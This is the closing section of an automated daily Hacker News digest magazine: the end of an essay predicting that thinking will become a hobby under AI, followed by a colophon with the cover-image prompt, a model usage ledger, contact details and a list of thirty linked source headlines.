So what’s the fate of human thought? My take is that cognitive work will diminish. Thought will increasingly become a leisure pursuit, as hunting did following animal domestication, calligraphy after typography, woodworking after industrialisation, and horse riding after motorisation. Machines transformed much of physical activity from necessity into choice; similarly, AI will decouple human thinking from its economic purpose.

I’ll end with my thoughts on how to prepare for and live through this transition. My take is that building this AI-driven world, riding through the bumps along the road, and preparing to live a fulfilling and satisfying life in an environment where AI dominates cognitive work will be hugely demanding, stressful, and intellectually challenging. Such is the nature of revolutions. Consequently, we must keep pace with and capitalise on AI’s advances; be flexible, adaptable, and resilient; and build a purposeful and rewarding life beyond work. My challenge ahead is to move from making a living by thinking, to making thinking part of a life worth living.

The Daily Front Page 28 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Also on the Front Page
The Daily Front Page 29 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Colophon

That's the Front for Today

Issue No. #261012 — Monday, October 12, 2026 — went to press 2026-10-13 at 12:18 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Monday, October 12, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages and chose the highlights; a second read a handful of the day's stories and briefed the cover illustrator — 31 model calls and 233k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

In a lavish Cyprus marina, an unattended office aboard a white superyacht is quietly rearranging its own accounts. A small server beside the desk copies thick bundles of property papers into a locked cabinet while a detached cable trails through the doorway toward a humming machine room. Beyond the windows, a private jet and mansion rise from the dark shoreline. A human auditor peers through a magnifying glass at one altered signature, while the machines continue working behind him.

Create a brutalist 3D editorial cover render in matte clay, using a Cyprus-night palette of chalk white, deep Mediterranean navy, oxidized copper, and sharp electric cyan accents. Compose an asymmetric gallery-light scene inside a lavish Cyprus marina: an unattended office aboard a white superyacht autonomously rearranges its accounts, with a compact server beside the desk copying thick property-paper bundles into a locked cabinet; a detached cable trails through the doorway toward a visibly humming machine room. Through the windows, place a private jet and mansion on the dark shoreline. In the foreground, a human auditor peers through a magnifying glass at one altered signature while the machines continue working behind him. Use monumental simplified forms, hard-edged geometry, crisp ambient occlusion, restrained reflections, and a stark pool of directional light against deep negative space.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image. Keep the main image subject primarily below the upper 10% of the composition, where a title may be overlaid; the scene may extend naturally underneath that title area.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 27 148,653 59,378
layoutgpt-5.6-terra 1 19,425 2,051
covergpt-5.6-luna 2 1,658 509
covergpt-image-2.5-flare 1 314 1,372

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. Hackers activate automatic defrosting in supermarket fridges across Europe by Zeekaas — tomshardware.com·HN discussion ↗
  2. Muse Wonder by meetpateltech — research.meta.ai·HN discussion ↗
  3. A Modern Web App in C by prophittcorey — prophitt.me·HN discussion ↗
  4. Deloitte falsified documents to evade tax on Abramovich's wealth by Betelbuddy — bbc.com·HN discussion ↗
  5. AI is a tool and using it well takes skill by layer8 — yyhh.org·HN discussion ↗
  6. QGIS enacts moratorium on AI contributions by bwnkl — github.com·HN discussion ↗
  7. Turn a WiFi 7 Router into a 320Msps Software Defined Radio Receiver by djfergus — github.com·HN discussion ↗
  8. Citroen revives the 2CV for an electric age by scrlk — bbc.com·HN discussion ↗
  9. AI coding agents generate more code, but not more software by gumby — arstechnica.com·HN discussion ↗
  10. Show HN: PS2 games statically recompiled to WebAssembly by deadxwarrior — github.com·HN discussion ↗
  11. 'AI' Is Not a Tool by Rich Hickey by svieira — linkedin.com·HN discussion ↗
  12. Will Linux phones become a viable alternative to the Android/iOS duopoly? by amosbatto — amosbbatto.wordpress.com·HN discussion ↗
  13. Intel D270 GPU AI Accelerator–Up to 480 GB LPDDR5X by hurricanepootis — intel.com·HN discussion ↗
  14. Type-safe HTML templating in Zig by lukaslalinsky — lalinsky.com·HN discussion ↗
  15. Research Firm Calls Anthropic's IPO 'Unprecedented Test of Investor Gullibity' by m463 — cnbc.com·HN discussion ↗
  16. OpenFatigue™ – Open is the new closed by ajcp — openfatigue.ai·HN discussion ↗
  17. Fable Took My Job by jllyhill — cendyne.dev·HN discussion ↗
  18. Doory – Open-Source Canva by acley — github.com·HN discussion ↗
  19. I Found a $90k Remote Code Execution Vulnerability in Google by soeckly — simonkoeck.com·HN discussion ↗
  20. Solar panels that plug into your wall by speckx — nationalgeographic.com·HN discussion ↗
  21. Kevin Kelly's 2016 AI Predictions, 10 Years Later by surprisetalk — taylor.town·HN discussion ↗
  22. Codex CLI installs a persistent, self-updating background daemon by default by whimblepop — github.com·HN discussion ↗
  23. Making big downloads resumable in Firefox by speckx — lunarwatcher.codeberg.page·HN discussion ↗
  24. Who is vfmaddrnd231pd? by pngmangi — purplesyringa.moe·HN discussion ↗
  25. Zod 4.6.6 compromised by malware? by luggage_bazooka — github.com·HN discussion ↗
  26. Thinking will become a hobby by pranitha_m — spinellis.gr·HN discussion ↗
  27. GLM-Legal by ilreb — z.ai·HN discussion ↗
  28. Why aren't AI companies being charged for hacking? by ingve — mortoray.com·HN discussion ↗
  29. Yandex bot traffic down 99% after data center attack by rooftopzen — radar.cloudflare.com·HN discussion ↗
  30. RJ Mitte has died by austinallegro — news.sky.com·HN discussion ↗

Browse all issues in the archive →